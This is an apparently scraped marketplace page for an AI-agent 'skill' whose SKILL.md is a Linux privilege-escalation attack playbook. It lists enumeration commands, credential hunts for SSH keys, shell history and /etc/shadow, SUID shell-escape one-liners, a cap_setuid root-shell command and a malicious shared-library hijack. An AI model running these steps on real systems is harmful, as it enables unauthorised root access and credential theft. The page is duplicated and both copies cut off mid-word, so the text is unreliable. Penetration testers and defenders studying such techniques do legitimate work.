linux-privilege-escalation

Name: linux-privilege-escalation
Author: Prohao42

91stars8forks

How to install linux-privilege-escalation?

prohao42/aimy-skill/linux-privilege-escalation

$npx -y skills add Prohao42/aimy-skill --skill linux-privilege-escalation

Installs into the current project.

Summary

Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Linux Privilege Escalation — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target is a container and you need to escape to host
10	- [linux-security-bypass](../linux-security-bypass/SKILL.md) when facing restricted shells, AppArmor, SELinux, or seccomp
11	- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after obtaining root for pivoting to adjacent hosts
12	- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when the host is a Kubernetes node
13
14	### Advanced Reference
15
16	Also load [SUID_CAPABILITIES_TRICKS.md](./SUID_CAPABILITIES_TRICKS.md) when you need:
17	- Top 30 SUID binaries with exact exploitation commands (GTFOBins)
18	- Capability-specific exploitation for each dangerous cap
19	- Custom SUID binary exploitation methodology
20
21	Also load [KERNEL_EXPLOITS_CHECKLIST.md](./KERNEL_EXPLOITS_CHECKLIST.md) when you need:
22	- Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
23	- Exploit compilation tips and cross-compilation notes
24	- Kernel exploit stability assessment
25
26	---
27
28	## 1. ENUMERATION CHECKLIST
29
30	Run these immediately after landing a shell:
31
32	### System Info
33
34	```bash
35	uname -a # Kernel version
36	cat /etc/os-release # Distro and version
37	cat /proc/version # Kernel compile info
38	hostname && id && whoami # Current context
39	```
40
41	### Sudo & SUID/SGID
42
43	```bash
44	sudo -l # What can we run as root?
45	find / -perm -4000 -type f 2>/dev/null # SUID binaries
46	find / -perm -2000 -type f 2>/dev/null # SGID binaries
47	getcap -r / 2>/dev/null # Files with capabilities
48	```
49
50	### Cron & Timers
51
52	```bash
53	cat /etc/crontab
54	ls -la /etc/cron.*
55	crontab -l
56	systemctl list-timers --all # systemd timers
57	```
58
59	### Writable Files & Dirs
60
61	```bash
62	find / -writable -type f 2>/dev/null \| grep -v proc
63	ls -la /etc/passwd /etc/shadow # Check permissions
64	find / -perm -o+w -type d 2>/dev/null # World-writable dirs
65	```
66
67	### Network & Services
68
69	```bash
70	ss -tlnp # Listening services
71	cat /proc/net/tcp # Raw TCP connections
72	ps aux # Running processes
73	env # Environment variables (credentials?)
74	```
75
76	### Credential Locations
77
78	```bash
79	cat ~/.bash_history
80	cat ~/.mysql_history
81	find / -name ".conf" -o -name ".cfg" -o -name "*.ini" 2>/dev/null \| head -30
82	find / -name "id_rsa" -o -name ".pem" -o -name ".key" 2>/dev/null
83	```
84
85	---
86
87	## 2. SUID/SGID EXPLOITATION
88
89	### GTFOBins Methodology
90
91	1. Find SUID binaries: `find / -perm -4000 -type f 2>/dev/null`
92	2. Cross-reference each with [GTFOBins](https://gtfobins.github.io/)
93	3. Use the "SUID" section specifically — not all binary abuse works with SUID
94
95	### Quick-Win SUID Escalations
96
97	\| Binary \| Command \|
98	\|---\|---\|
99	\| `bash` \| `bash -p` \|
100	\| `find` \| `find . -exec /bin/sh -p \; -quit` \|
101	\| `vim` \| `vim -c ':!/bin/sh'` \|
102	\| `python` \| `python -c 'import os; os.execl("/bin/sh","sh","-p")'` \|
103	\| `env` \| `env /bin/sh -p` \|
104	\| `nmap` (old) \| `nmap --interactive` → `!sh` \|
105	\| `awk` \| `awk 'BEGIN {system("/bin/sh -p")}'` \|
106	\| `less` \| `less /etc/passwd` → `!/bin/sh` \|
107	\| `cp` \| Copy `/etc/passwd`, add root user, copy back \|
108
109	### Shared Library Hijacking (SUID Binary)
110
111	```bash
112	ldd /usr/local/bin/suid_binary # Check loaded libraries
113	strace /usr/local/bin/suid_binary 2>&1 \| grep -i "open.*\.so" # Find load paths
114
115	# If it loads from a writable directory — inject constructor:
116	gcc -shared -fPIC -o /writable/path/libevil.so evil.c
117	# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")
118	```
119
120	---
121
122	## 3. CAPABILITIES ABUSE
123
124	\| Capability \| Risk \| Exploitation \|
125	\|---\|---\|---\|
126	\| `cap_setuid` \| Critical \| `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` \|
127	\| `cap_dac_override` \| Critical \| Read/write any file regardless of permissions \|
128	\| `cap_dac_read_search` \| High \| Read any file — dump `/etc/shadow` \|
129	\| `cap_sys_admin` \| Critical \| Mount filesystems, BPF, namespace manipulation \|
130	\| `cap_sys_ptrace` \| High \| Inject into root processes via ptrace \|
131	\| `cap_net_raw` \| Medium \| Sniff traffic, ARP spoofing \|
132	\| `cap_net_bind_service` \| Low \| Bind to privileged ports (<1024) \|
133	\| `cap_fowner` \| High \| Change ownership of any file \|
134
135	```bash
136	# Find binarie

People who liked this also viewed

6 picks

Type

linux-privilege-escalation

91stars8forks

View on GitHub

How to install linux-privilege-escalation?

prohao42/aimy-skill/linux-privilege-escalation

$npx -y skills add Prohao42/aimy-skill --skill linux-privilege-escalation

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Linux Privilege Escalation — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target is a container and you need to escape to host
10	- [linux-security-bypass](../linux-security-bypass/SKILL.md) when facing restricted shells, AppArmor, SELinux, or seccomp
11	- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after obtaining root for pivoting to adjacent hosts
12	- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when the host is a Kubernetes node
13
14	### Advanced Reference
15
16	Also load [SUID_CAPABILITIES_TRICKS.md](./SUID_CAPABILITIES_TRICKS.md) when you need:
17	- Top 30 SUID binaries with exact exploitation commands (GTFOBins)
18	- Capability-specific exploitation for each dangerous cap
19	- Custom SUID binary exploitation methodology
20
21	Also load [KERNEL_EXPLOITS_CHECKLIST.md](./KERNEL_EXPLOITS_CHECKLIST.md) when you need:
22	- Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
23	- Exploit compilation tips and cross-compilation notes
24	- Kernel exploit stability assessment
25
26	---
27
28	## 1. ENUMERATION CHECKLIST
29
30	Run these immediately after landing a shell:
31
32	### System Info
33
34	```bash
35	uname -a # Kernel version
36	cat /etc/os-release # Distro and version
37	cat /proc/version # Kernel compile info
38	hostname && id && whoami # Current context
39	```
40
41	### Sudo & SUID/SGID
42
43	```bash
44	sudo -l # What can we run as root?
45	find / -perm -4000 -type f 2>/dev/null # SUID binaries
46	find / -perm -2000 -type f 2>/dev/null # SGID binaries
47	getcap -r / 2>/dev/null # Files with capabilities
48	```
49
50	### Cron & Timers
51
52	```bash
53	cat /etc/crontab
54	ls -la /etc/cron.*
55	crontab -l
56	systemctl list-timers --all # systemd timers
57	```
58
59	### Writable Files & Dirs
60
61	```bash
62	find / -writable -type f 2>/dev/null \| grep -v proc
63	ls -la /etc/passwd /etc/shadow # Check permissions
64	find / -perm -o+w -type d 2>/dev/null # World-writable dirs
65	```
66
67	### Network & Services
68
69	```bash
70	ss -tlnp # Listening services
71	cat /proc/net/tcp # Raw TCP connections
72	ps aux # Running processes
73	env # Environment variables (credentials?)
74	```
75
76	### Credential Locations
77
78	```bash
79	cat ~/.bash_history
80	cat ~/.mysql_history
81	find / -name ".conf" -o -name ".cfg" -o -name "*.ini" 2>/dev/null \| head -30
82	find / -name "id_rsa" -o -name ".pem" -o -name ".key" 2>/dev/null
83	```
84
85	---
86
87	## 2. SUID/SGID EXPLOITATION
88
89	### GTFOBins Methodology
90
91	1. Find SUID binaries: `find / -perm -4000 -type f 2>/dev/null`
92	2. Cross-reference each with [GTFOBins](https://gtfobins.github.io/)
93	3. Use the "SUID" section specifically — not all binary abuse works with SUID
94
95	### Quick-Win SUID Escalations
96
97	\| Binary \| Command \|
98	\|---\|---\|
99	\| `bash` \| `bash -p` \|
100	\| `find` \| `find . -exec /bin/sh -p \; -quit` \|
101	\| `vim` \| `vim -c ':!/bin/sh'` \|
102	\| `python` \| `python -c 'import os; os.execl("/bin/sh","sh","-p")'` \|
103	\| `env` \| `env /bin/sh -p` \|
104	\| `nmap` (old) \| `nmap --interactive` → `!sh` \|
105	\| `awk` \| `awk 'BEGIN {system("/bin/sh -p")}'` \|
106	\| `less` \| `less /etc/passwd` → `!/bin/sh` \|
107	\| `cp` \| Copy `/etc/passwd`, add root user, copy back \|
108
109	### Shared Library Hijacking (SUID Binary)
110
111	```bash
112	ldd /usr/local/bin/suid_binary # Check loaded libraries
113	strace /usr/local/bin/suid_binary 2>&1 \| grep -i "open.*\.so" # Find load paths
114
115	# If it loads from a writable directory — inject constructor:
116	gcc -shared -fPIC -o /writable/path/libevil.so evil.c
117	# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")
118	```
119
120	---
121
122	## 3. CAPABILITIES ABUSE
123
124	\| Capability \| Risk \| Exploitation \|
125	\|---\|---\|---\|
126	\| `cap_setuid` \| Critical \| `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` \|
127	\| `cap_dac_override` \| Critical \| Read/write any file regardless of permissions \|
128	\| `cap_dac_read_search` \| High \| Read any file — dump `/etc/shadow` \|
129	\| `cap_sys_admin` \| Critical \| Mount filesystems, BPF, namespace manipulation \|
130	\| `cap_sys_ptrace` \| High \| Inject into root processes via ptrace \|
131	\| `cap_net_raw` \| Medium \| Sniff traffic, ARP spoofing \|
132	\| `cap_net_bind_service` \| Low \| Bind to privileged ports (<1024) \|
133	\| `cap_fowner` \| High \| Change ownership of any file \|
134
135	```bash
136	# Find binarie

People who liked this also viewed

6 picks

Type